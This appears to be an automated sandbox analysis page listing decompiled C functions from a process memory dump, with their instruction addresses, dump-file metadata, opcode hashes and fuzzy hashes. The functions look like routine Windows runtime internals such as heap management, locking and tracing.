			E03CC7016(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				signed short* _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t55;
				void* _t56;
				signed short* _t58;
				signed char* _t61;
				char* _t68;
				void* _t69;
				void* _t71;
				void* _t72;
				signed int _t75;

				_t64 = __edx;
				_t77 = (_t75 & 0xfffffff8) - 0x25c;
				_v8 =  *0x3d3d360 ^ (_t75 & 0xfffffff8) - 0x0000025c;
				_t55 = _a16;
				_v606 = __ecx;
				_t71 = 0;
				_t58 = _a12;
				_v596 = __edx;
				_v600 = _t58;
				_t68 =  &_v588;
				if(_t58 != 0) {
					_t71 = ( *_t58 & 0x0000ffff) + 2;
					if(_t55 != 0) {
						_t71 = _t71 + ( *_t55 & 0x0000ffff) + 2;
					}
				}
				_t8 = _t71 + 0x2a; // 0x28
				_t33 = _t8;
				_v592 = _t8;
				if(_t71 <= 0x214) {
					L6:
					 *((short*)(_t68 + 6)) = _v606;
					if(_t64 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t68 + 0x20)) = _t64;
						 *((char*)(_t68 + 0x28)) = _a4;
						 *((intOrPtr*)(_t68 + 0x24)) = _t64;
						 *((char*)(_t68 + 0x29)) = _a8;
						if(_t71 != 0) {
							_t22 = _t68 + 0x2a; // 0x2a
							_t64 = _t22;
							E03CC6B4C(_t58, _t22, _t71,  &_v604);
							if(_t55 != 0) {
								_t25 = _v604 + 0x2a; // 0x2a
								_t64 = _t25 + _t68;
								E03CC6B4C(_t55, _t25 + _t68, _t71 - _v604,  &_v604);
							}
							if(E03C67D50() == 0) {
								_t61 = 0x7ffe0384;
							} else {
								_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							}
							_push(_t68);
							_push(_v592 + 0xffffffe0);
							_push(0x402);
							_push( *_t61 & 0x000000ff);
							E03C89AE0();
						}
					}
					_t35 =  &_v588;
					if( &_v588 != _t68) {
						_t35 = L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t68);
					}
					L16:
					_pop(_t69);
					_pop(_t72);
					_pop(_t56);
					return E03C8B640(_t35, _t56, _v8 ^ _t77, _t64, _t69, _t72);
				}
				_t68 = L03C64620(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t33);
				if(_t68 == 0) {
					goto L16;
				} else {
					_t58 = _v600;
					_t64 = _v596;
					goto L6;
				}
			}

0x03cc7016
0x03cc701e
0x03cc702b
0x03cc7033
0x03cc7037
0x03cc703c
0x03cc703e
0x03cc7041
0x03cc7045
0x03cc704a
0x03cc7050
0x03cc7055
0x03cc705a
0x03cc7062
0x03cc7062
0x03cc705a
0x03cc7064
0x03cc7064
0x03cc7067
0x03cc7071
0x03cc7096
0x03cc709b
0x03cc70a2
0x03cc70a6
0x03cc70a7
0x03cc70ad
0x03cc70b3
0x03cc70b6
0x03cc70bb
0x03cc70c3
0x03cc70c3
0x03cc70c6
0x03cc70cd
0x03cc70dd
0x03cc70e0
0x03cc70e2
0x03cc70e2
0x03cc70ee
0x03cc7101
0x03cc70f0
0x03cc70f9
0x03cc70f9
0x03cc710a
0x03cc710e
0x03cc7112
0x03cc7117
0x03cc7118
0x03cc7118
0x03cc70bb
0x03cc711d
0x03cc7123
0x03cc7131
0x03cc7131
0x03cc7136
0x03cc713d
0x03cc713e
0x03cc713f
0x03cc714a
0x03cc714a
0x03cc7084
0x03cc7088
0x00000000
0x03cc708e
0x03cc708e
0x03cc7092
0x00000000
0x03cc7092

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad195a3cbbcb6965a4346ea734790076600561e54c094a90c8680497750e5b14
Instruction ID: e30a82a9c4228417ceaffda744a9617f64dba2a6323e00868a42a38e9e88c9af
Opcode Fuzzy Hash: ad195a3cbbcb6965a4346ea734790076600561e54c094a90c8680497750e5b14
Instruction Fuzzy Hash: A031B6766147919FC310DF28C940A6AB3E5FF88700F094A1DF899CB690E731E904DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 03CF3D40, Relevance: .1, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E03CF3D40(intOrPtr __ecx, char* __edx) {
				signed int _v8;
				char* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char _v24;
				char _v28;
				char _v29;
				intOrPtr* _v32;
				char _v36;
				char _v37;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t34;
				intOrPtr* _t37;
				intOrPtr* _t42;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				char _t51;
				void* _t52;
				intOrPtr* _t53;
				char* _t55;
				char _t59;
				char* _t61;
				intOrPtr* _t64;
				void* _t65;
				char* _t67;
				void* _t68;
				signed int _t70;

				_t62 = __edx;
				_t72 = (_t70 & 0xfffffff8) - 0x1c;
				_v8 =  *0x3d3d360 ^ (_t70 & 0xfffffff8) - 0x0000001c;
				_t34 =  &_v28;
				_v20 = __ecx;
				_t67 = __edx;
				_v24 = _t34;
				_t51 = 0;
				_v12 = __edx;
				_v29 = 0;
				_v28 = _t34;
				E03C62280(_t34, 0x3d38a6c);
				_t64 =  *0x3d35768; // 0x771c5768
				if(_t64 != 0x3d35768) {
					while(1) {
						_t8 = _t64 + 8; // 0x771c5770
						_t42 = _t8;
						_t53 = _t64;
						 *_t42 =  *_t42 + 1;
						_v16 = _t42;
						E03C5FFB0(_t53, _t64, 0x3d38a6c);
						 *0x3d3b1e0(_v24, _t67);
						if( *((intOrPtr*)( *((intOrPtr*)(_t64 + 0xc))))() != 0) {
							_v37 = 1;
						}
						E03C62280(_t45, 0x3d38a6c);
						_t47 = _v28;
						_t64 =  *_t64;
						 *_t47 =  *_t47 - 1;
						if( *_t47 != 0) {
							goto L8;
						}
						if( *((intOrPtr*)(_t64 + 4)) != _t53) {
							L10:
							_push(3);
							asm("int 0x29");
						} else {
							_t48 =  *((intOrPtr*)(_t53 + 4));
							if( *_t48 != _t53) {
								goto L10;
							} else {
								 *_t48 = _t64;
								_t61 =  &_v36;
								 *((intOrPtr*)(_t64 + 4)) = _t48;
								_t49 = _v32;
								if( *_t49 != _t61) {
									goto L10;
								} else {
									 *_t53 = _t61;
									 *((intOrPtr*)(_t53 + 4)) = _t49;
									 *_t49 = _t53;
									_v32 = _t53;
									goto L8;
								}
							}
						}
						L11:
						_t51 = _v29;
						goto L12;
						L8:
						if(_t64 != 0x3d35768) {
							_t67 = _v20;
							continue;
						}
						goto L11;
					}
				}
				L12:
				E03C5FFB0(_t51, _t64, 0x3d38a6c);
				while(1) {
					_t37 = _v28;
					_t55 =  &_v28;
					if(_t37 == _t55) {
						break;
					}
					if( *((intOrPtr*)(_t37 + 4)) != _t55) {
						goto L10;
					} else {
						_t59 =  *_t37;
						if( *((intOrPtr*)(_t59 + 4)) != _t37) {
							goto L10;
						} else {
							_t62 =  &_v28;
							_v28 = _t59;
							 *((intOrPtr*)(_t59 + 4)) =  &_v28;
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t37);
							continue;
						}
					}
					L18:
				}
				_pop(_t65);
				_pop(_t68);
				_pop(_t52);
				return E03C8B640(_t51, _t52, _v8 ^ _t72, _t62, _t65, _t68);
				goto L18;
			}

0x03cf3d40
0x03cf3d48
0x03cf3d52
0x03cf3d59
0x03cf3d5d
0x03cf3d61
0x03cf3d63
0x03cf3d67
0x03cf3d69
0x03cf3d72
0x03cf3d76
0x03cf3d7a
0x03cf3d7f
0x03cf3d8b
0x03cf3d91
0x03cf3d91
0x03cf3d91
0x03cf3d94
0x03cf3d96
0x03cf3d9d
0x03cf3da1
0x03cf3db0
0x03cf3dba
0x03cf3dbc
0x03cf3dbc
0x03cf3dc6
0x03cf3dcb
0x03cf3dcf
0x03cf3dd1
0x03cf3dd4
0x00000000
0x00000000
0x03cf3dd9
0x03cf3e0c
0x03cf3e0c
0x03cf3e0f
0x03cf3ddb
0x03cf3ddb
0x03cf3de0
0x00000000
0x03cf3de2
0x03cf3de2
0x03cf3de4
0x03cf3de8
0x03cf3deb
0x03cf3df1
0x00000000
0x03cf3df3
0x03cf3df3
0x03cf3df5
0x03cf3df8
0x03cf3dfa
0x00000000
0x03cf3dfa
0x03cf3df1
0x03cf3de0
0x03cf3e11
0x03cf3e11
0x00000000
0x03cf3dfe
0x03cf3e04
0x03cf3e06
0x00000000
0x03cf3e06
0x00000000
0x03cf3e04
0x03cf3d91
0x03cf3e15
0x03cf3e1a
0x03cf3e1f
0x03cf3e1f
0x03cf3e23
0x03cf3e29
0x00000000
0x00000000
0x03cf3e2e
0x00000000
0x03cf3e30
0x03cf3e30
0x03cf3e35
0x00000000
0x03cf3e37
0x03cf3e3e
0x03cf3e42
0x03cf3e48
0x03cf3e4e
0x00000000
0x03cf3e4e
0x03cf3e35
0x00000000
0x03cf3e2e
0x03cf3e5b
0x03cf3e5c
0x03cf3e5d
0x03cf3e68
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eac2a84ffa25ba377a1e69672d71d3a7d4b4e3a5bfcb8b714861b8c2f999176
Instruction ID: 6685c9d497d5d740fc43837d21ba05ba2bdcedc21a63b2a051e73ae3b4188dc2
Opcode Fuzzy Hash: 9eac2a84ffa25ba377a1e69672d71d3a7d4b4e3a5bfcb8b714861b8c2f999176
Instruction Fuzzy Hash: AF3166B9509342EFC714DF24D48081ABBE5FF86608F0949AEE599CB251D330EE08CB92

Uniqueness

Uniqueness Score: -1.00%

Function 03C7A70E, Relevance: .1, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E03C7A70E(intOrPtr* __ecx, char* __edx) {
				unsigned int _v8;
				intOrPtr* _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t28;
				char* _t33;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t50;
				intOrPtr _t52;

				_push(__ecx);
				_push(__ecx);
				_t52 =  *0x3d37b10; // 0x9
				_t33 = __edx;
				_t48 = __ecx;
				_v12 = __ecx;
				if(_t52 == 0) {
					 *0x3d37b10 = 8;
					 *0x3d37b14 = 0x3d37b0c;
					 *0x3d37b18 = 1;
					L6:
					_t2 = _t52 + 1; // 0xa
					E03C7A990(0x3d37b10, _t2, 7);
					asm("bts ecx, eax");
					 *_t48 = _t52;
					 *_t33 = 1;
					L3:
					_t16 = 0;
					L4:
					return _t16;
				}
				_t17 = L03C7A840(__edx, __ecx, __ecx, _t52, 0x3d37b10, 1, 0);
				if(_t17 == 0xffffffff) {
					_t37 =  *0x3d37b10; // 0x9
					_t3 = _t37 + 0x27; // 0x30
					__eflags = _t3 >> 5 -  *0x3d37b18; // 0x1
					if(__eflags > 0) {
						_t38 =  *0x3d37b9c; // 0x0
						_t4 = _t52 + 0x27; // 0x30
						_v8 = _t4 >> 5;
						_t50 = L03C64620(_t38 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t38 + 0xc0000, _t4 >> 5 << 2);
						__eflags = _t50;
						if(_t50 == 0) {
							_t16 = 0xc0000017;
							goto L4;
						}
						 *0x3d37b18 = _v8;
						_t8 = _t52 + 7; // 0x10
						E03C8F3E0(_t50,  *0x3d37b14, _t8 >> 3);
						_t28 =  *0x3d37b14; // 0x771c7b0c
						__eflags = _t28 - 0x3d37b0c;
						if(_t28 != 0x3d37b0c) {
							L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
						}
						_t9 = _t52 + 8; // 0x11
						 *0x3d37b14 = _t50;
						_t48 = _v12;
						 *0x3d37b10 = _t9;
						goto L6;
					}
					 *0x3d37b10 = _t37 + 8;
					goto L6;
				}
				 *__ecx = _t17;
				 *_t33 = 0;
				goto L3;
			}

0x03c7a713
0x03c7a714
0x03c7a717
0x03c7a71d
0x03c7a720
0x03c7a722
0x03c7a727
0x03c7a74a
0x03c7a754
0x03c7a75e
0x03c7a768
0x03c7a76a
0x03c7a773
0x03c7a78b
0x03c7a790
0x03c7a792
0x03c7a741
0x03c7a741
0x03c7a743
0x03c7a749
0x03c7a749
0x03c7a732
0x03c7a73a
0x03c7a797
0x03c7a79d
0x03c7a7a3
0x03c7a7a9
0x03c7a7b6
0x03c7a7bc
0x03c7a7ca
0x03c7a7e0
0x03c7a7e2
0x03c7a7e4
0x03cb9bf2
0x00000000
0x03cb9bf2
0x03c7a7ed
0x03c7a7f2
0x03c7a800
0x03c7a805
0x03c7a80d
0x03c7a812
0x03cb9c08
0x03cb9c08
0x03c7a818
0x03c7a81b
0x03c7a821
0x03c7a824
0x00000000
0x03c7a824
0x03c7a7ae
0x00000000
0x03c7a7ae
0x03c7a73c
0x03c7a73e
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d264256ca3549f66271b48b9a0a4cd6e99dd254e01200f1b93de47271e4b381
Instruction ID: 6f163cf63f4a4561524dc4580559953893db02b942693032616c3b14ead204e0
Opcode Fuzzy Hash: 1d264256ca3549f66271b48b9a0a4cd6e99dd254e01200f1b93de47271e4b381
Instruction Fuzzy Hash: FC319CFA600A04AFC712EF19D880FAABBF9FB85710F15495AE515CB344D774AE01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03C4AA16, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E03C4AA16(signed short* __ecx) {
				signed int _v8;
				intOrPtr _v12;
				signed short _v16;
				intOrPtr _v20;
				signed short _v24;
				signed short _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t25;
				signed short _t38;
				signed short* _t42;
				signed int _t44;
				signed short* _t52;
				signed short _t53;
				signed int _t54;

				_v8 =  *0x3d3d360 ^ _t54;
				_t42 = __ecx;
				_t44 =  *__ecx & 0x0000ffff;
				_t52 =  &(__ecx[2]);
				_t51 = _t44 + 2;
				if(_t44 + 2 > (__ecx[1] & 0x0000ffff)) {
					L4:
					_t25 =  *0x3d37b9c; // 0x0
					_t53 = L03C64620(_t44,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t25 + 0x180000, _t51);
					__eflags = _t53;
					if(_t53 == 0) {
						L3:
						return E03C8B640(_t28, _t42, _v8 ^ _t54, _t51, _t52, _t53);
					} else {
						E03C8F3E0(_t53,  *_t52,  *_t42 & 0x0000ffff);
						 *((short*)(_t53 + (( *_t42 & 0x0000ffff) >> 1) * 2)) = 0;
						L2:
						_t51 = 4;
						if(L03C56C59(_t53, _t51, _t58) != 0) {
							_t28 = E03C75E50(0x3c2c338, 0, 0,  &_v32);
							__eflags = _t28;
							if(_t28 == 0) {
								_t38 = ( *_t42 & 0x0000ffff) + 2;
								__eflags = _t38;
								_v24 = _t53;
								_v16 = _t38;
								_v20 = 0;
								_v12 = 0;
								E03C7B230(_v32, _v28, 0x3c2c2d8, 1,  &_v24);
								_t28 = E03C4F7A0(_v32, _v28);
							}
							__eflags = _t53 -  *_t52;
							if(_t53 !=  *_t52) {
								_t28 = L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						goto L3;
					}
				}
				_t53 =  *_t52;
				_t44 = _t44 >> 1;
				_t58 =  *((intOrPtr*)(_t53 + _t44 * 2));
				if( *((intOrPtr*)(_t53 + _t44 * 2)) != 0) {
					goto L4;
				}
				goto L2;
			}

0x03c4aa25
0x03c4aa29
0x03c4aa2d
0x03c4aa30
0x03c4aa37
0x03c4aa3c
0x03ca4458
0x03ca4458
0x03ca4472
0x03ca4474
0x03ca4476
0x03c4aa64
0x03c4aa74
0x03ca447c
0x03ca4483
0x03ca4492
0x03c4aa52
0x03c4aa54
0x03c4aa5e
0x03ca44a8
0x03ca44ad
0x03ca44af
0x03ca44b6
0x03ca44b6
0x03ca44b9
0x03ca44bc
0x03ca44cd
0x03ca44d3
0x03ca44d6
0x03ca44e1
0x03ca44e1
0x03ca44e6
0x03ca44e8
0x03ca44fb
0x03ca44fb
0x03ca44e8
0x00000000
0x03c4aa5e
0x03ca4476
0x03c4aa42
0x03c4aa46
0x03c4aa48
0x03c4aa4c
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c50cd909799fa753e4546b18f1bbe12494072960183951e43d45f3a2e67c252c
Instruction ID: af9294eda92fce9c73275b201d5274b0c5384dda9f2cf5dab6974775f35bf2c3
Opcode Fuzzy Hash: c50cd909799fa753e4546b18f1bbe12494072960183951e43d45f3a2e67c252c
Instruction Fuzzy Hash: E731E376A00619ABCF15EF69CD81ABFB7B8EF04700F054469F801EB250E774AE10DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 03C761A0, Relevance: .1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E03C761A0(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _t30;
				intOrPtr _t31;
				void* _t32;
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t54;
				void* _t59;
				signed int* _t61;
				intOrPtr* _t64;

				_t61 = __ecx;
				_v12 = 0;
				_t30 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
				_v16 = __ecx;
				_v8 = 0;
				if(_t30 == 0) {
					L6:
					_t31 = 0;
					L7:
					return _t31;
				}
				_t32 = _t30 + 0x5d8;
				if(_t32 == 0) {
					goto L6;
				}
				_t59 = _t32 + 0x30;
				if( *((intOrPtr*)(_t32 + 0x30)) == 0) {
					goto L6;
				}
				if(__ecx != 0) {
					 *((intOrPtr*)(__ecx)) = 0;
					 *((intOrPtr*)(__ecx + 4)) = 0;
				}
				if( *((intOrPtr*)(_t32 + 0xc)) != 0) {
					_t51 =  *(_t32 + 0x10);
					_t33 = _t32 + 0x10;
					_v20 = _t33;
					_t54 =  *(_t33 + 4);
					if((_t51 | _t54) == 0) {
						_t37 = E03C75E50(0x3c267cc, 0, 0,  &_v12);
						if(_t37 != 0) {
							goto L6;
						}
						_t52 = _v8;
						asm("lock cmpxchg8b [esi]");
						_t64 = _v16;
						_t49 = _t37;
						_v20 = 0;
						if(_t37 == 0) {
							if(_t64 != 0) {
								 *_t64 = _v12;
								 *((intOrPtr*)(_t64 + 4)) = _t52;
							}
							E03D19D2E(_t59, 0, _v12, _v8,  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c)));
							_t31 = 1;
							goto L7;
						}
						E03C4F7C0(_t52, _v12, _t52, 0);
						if(_t64 != 0) {
							 *_t64 = _t49;
							 *((intOrPtr*)(_t64 + 4)) = _v20;
						}
						L12:
						_t31 = 1;
						goto L7;
					}
					if(_t61 != 0) {
						 *_t61 = _t51;
						_t61[1] = _t54;
					}
					goto L12;
				} else {
					goto L6;
				}
			}

0x03c761b3
0x03c761b5
0x03c761bd
0x03c761c3
0x03c761c7
0x03c761d2
0x03c761ff
0x03c761ff
0x03c76201
0x03c76207
0x03c76207
0x03c761d4
0x03c761d9
0x00000000
0x00000000
0x03c761df
0x03c761e2
0x00000000
0x00000000
0x03c761e6
0x03c761e8
0x03c761ee
0x03c761ee
0x03c761f9
0x03cb762f
0x03cb7632
0x03cb7635
0x03cb7639
0x03cb7640
0x03cb766e
0x03cb7675
0x00000000
0x00000000
0x03cb7681
0x03cb7689
0x03cb768d
0x03cb7691
0x03cb7695
0x03cb7699
0x03cb76af
0x03cb76b5
0x03cb76b7
0x03cb76b7
0x03cb76d7
0x03cb76dc
0x00000000
0x03cb76dc
0x03cb76a2
0x03cb76a9
0x03cb7651
0x03cb7653
0x03cb7653
0x03cb7656
0x03cb7656
0x00000000
0x03cb7656
0x03cb7644
0x03cb7646
0x03cb7648
0x03cb7648
0x00000000
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 162a74b94ec8b75e58813cd1a3cb3e891ac268f002595b9896fc70e8331ecde1
Instruction ID: 9d4e4bc165c1c4b6b8e0fc569421f119e1e8226db5b69c07c2b0e65c620f15fa
Opcode Fuzzy Hash: 162a74b94ec8b75e58813cd1a3cb3e891ac268f002595b9896fc70e8331ecde1
Instruction Fuzzy Hash: B13156716097018FD360CF19C904BAAF7E4EF88B00F09496DEC99DB261E7B1EA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 03C84A2C, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E03C84A2C(signed int* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _v12;
				char _v13;
				signed int _v16;
				char _v21;
				signed int* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				signed int* _t32;
				signed int* _t41;
				signed int _t42;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t53;
				signed int _t58;
				void* _t59;
				signed int _t60;
				signed int _t62;

				_t49 = __edx;
				_t62 = (_t60 & 0xfffffff8) - 0xc;
				_t26 =  *0x3d3d360 ^ _t62;
				_v8 =  *0x3d3d360 ^ _t62;
				_t41 = __ecx;
				_t51 = __edx;
				_v12 = __ecx;
				if(_a4 == 0) {
					if(_a8 != 0) {
						goto L1;
					}
					_v13 = 1;
					E03C62280(_t26, 0x3d38608);
					_t58 =  *_t41;
					if(_t58 == 0) {
						L11:
						E03C5FFB0(_t41, _t51, 0x3d38608);
						L2:
						 *0x3d3b1e0(_a4, _a8);
						_t42 =  *_t51();
						if(_t42 == 0) {
							_t29 = 0;
							L5:
							_pop(_t52);
							_pop(_t59);
							_pop(_t43);
							return E03C8B640(_t29, _t43, _v16 ^ _t62, _t49, _t52, _t59);
						}
						 *((intOrPtr*)(_t42 + 0x34)) = 1;
						if(_v21 != 0) {
							_t53 = 0;
							E03C62280(_t28, 0x3d38608);
							_t32 = _v24;
							if( *_t32 == _t58) {
								 *_t32 = _t42;
								 *((intOrPtr*)(_t42 + 0x34)) =  *((intOrPtr*)(_t42 + 0x34)) + 1;
								if(_t58 != 0) {
									 *(_t58 + 0x34) =  *(_t58 + 0x34) - 1;
									asm("sbb edi, edi");
									_t53 =  !( ~( *(_t58 + 0x34))) & _t58;
								}
							}
							E03C5FFB0(_t42, _t53, 0x3d38608);
							if(_t53 != 0) {
								L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t53);
							}
						}
						_t29 = _t42;
						goto L5;
					}
					if( *((char*)(_t58 + 0x40)) != 0) {
						L10:
						 *(_t58 + 0x34) =  *(_t58 + 0x34) + 1;
						E03C5FFB0(_t41, _t51, 0x3d38608);
						_t29 = _t58;
						goto L5;
					}
					_t49 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					if( *((intOrPtr*)(_t58 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
						goto L11;
					}
					goto L10;
				}
				L1:
				_v13 = 0;
				_t58 = 0;
				goto L2;
			}

0x03c84a2c
0x03c84a34
0x03c84a3c
0x03c84a3e
0x03c84a48
0x03c84a4b
0x03c84a4d
0x03c84a51
0x03c84a9c
0x00000000
0x00000000
0x03c84aa3
0x03c84aa8
0x03c84aad
0x03c84ab1
0x03c84ade
0x03c84ae3
0x03c84a5a
0x03c84a62
0x03c84a6a
0x03c84a6e
0x03cbf203
0x03c84a84
0x03c84a88
0x03c84a89
0x03c84a8a
0x03c84a95
0x03c84a95
0x03c84a79
0x03c84a80
0x03c84af2
0x03c84af4
0x03c84af9
0x03c84aff
0x03c84b01
0x03c84b03
0x03c84b08
0x03cbf20a
0x03cbf212
0x03cbf216
0x03cbf216
0x03c84b08
0x03c84b13
0x03c84b1a
0x03cbf229
0x03cbf229
0x03c84b1a
0x03c84a82
0x00000000
0x03c84a82
0x03c84ab7
0x03c84acd
0x03c84acd
0x03c84ad5
0x03c84ada
0x00000000
0x03c84ada
0x03c84ac2
0x03c84acb
0x00000000
0x00000000
0x00000000
0x03c84acb
0x03c84a53
0x03c84a53
0x03c84a58
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eb2db2341d7d3bb30d2dec53b5ef6e22d34841787a1ee6b2536887b3fa57d88
Instruction ID: 8f9a97001524e8b575096d0229d78a1ba81558f898e8fef15b6ea60e104a9086
Opcode Fuzzy Hash: 0eb2db2341d7d3bb30d2dec53b5ef6e22d34841787a1ee6b2536887b3fa57d88
Instruction Fuzzy Hash: 0D3125322453519FC725EF26C981BAAF7A4FB81B18F050559E852CF240C770EE08CB85

Uniqueness

Uniqueness Score: -1.00%

Function 03C88EC7, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E03C88EC7(void* __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int* _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				char* _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int* _v108;
				char _v140;
				signed int _v144;
				signed int _v148;
				intOrPtr _v152;
				char _v156;
				intOrPtr _v160;
				char _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t67;
				intOrPtr _t70;
				void* _t71;
				void* _t72;
				signed int _t73;

				_t69 = __edx;
				_v8 =  *0x3d3d360 ^ _t73;
				_t48 =  *[fs:0x30];
				_t72 = __edx;
				_t71 = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
					_t48 = E03C74E70(0x3d386e4, 0x3c89490, 0, 0);
					if( *0x3d353e8 > 5 && E03C88F33(0x3d353e8, 0, 0x2000) != 0) {
						_v156 =  *((intOrPtr*)(_t71 + 0x44));
						_v144 =  *(_t72 + 0x44) & 0x0000ffff;
						_v148 =  *(_t72 + 0x46) & 0x0000ffff;
						_v164 =  *((intOrPtr*)(_t72 + 0x58));
						_v108 =  &_v84;
						_v92 =  *((intOrPtr*)(_t71 + 0x28));
						_v84 =  *(_t71 + 0x24) & 0x0000ffff;
						_v76 =  &_v156;
						_t70 = 8;
						_v60 =  &_v144;
						_t67 = 4;
						_v44 =  &_v148;
						_v152 = 0;
						_v160 = 0;
						_v104 = 0;
						_v100 = 2;
						_v96 = 0;
						_v88 = 0;
						_v80 = 0;
						_v72 = 0;
						_v68 = _t70;
						_v64 = 0;
						_v56 = 0;
						_v52 = 0x3d353e8;
						_v48 = 0;
						_v40 = 0;
						_v36 = 0x3d353e8;
						_v32 = 0;
						_v28 =  &_v164;
						_v24 = 0;
						_v20 = _t70;
						_v16 = 0;
						_t69 = 0x3c2bc46;
						_t48 = E03CC7B9C(0x3d353e8, 0x3c2bc46, _t67, 0x3d353e8, _t70,  &_v140);
					}
				}
				return E03C8B640(_t48, 0, _v8 ^ _t73, _t69, _t71, _t72);
			}

0x03c88ec7
0x03c88ed9
0x03c88edc
0x03c88ee6
0x03c88ee9
0x03c88eee
0x03c88efc
0x03c88f08
0x03cc1349
0x03cc1353
0x03cc135d
0x03cc1366
0x03cc136f
0x03cc1375
0x03cc137c
0x03cc1385
0x03cc1390
0x03cc1391
0x03cc139c
0x03cc139d
0x03cc13a6
0x03cc13ac
0x03cc13b2
0x03cc13b5
0x03cc13bc
0x03cc13bf
0x03cc13c2
0x03cc13c5
0x03cc13c8
0x03cc13cb
0x03cc13ce
0x03cc13d1
0x03cc13d4
0x03cc13d7
0x03cc13da
0x03cc13dd
0x03cc13e0
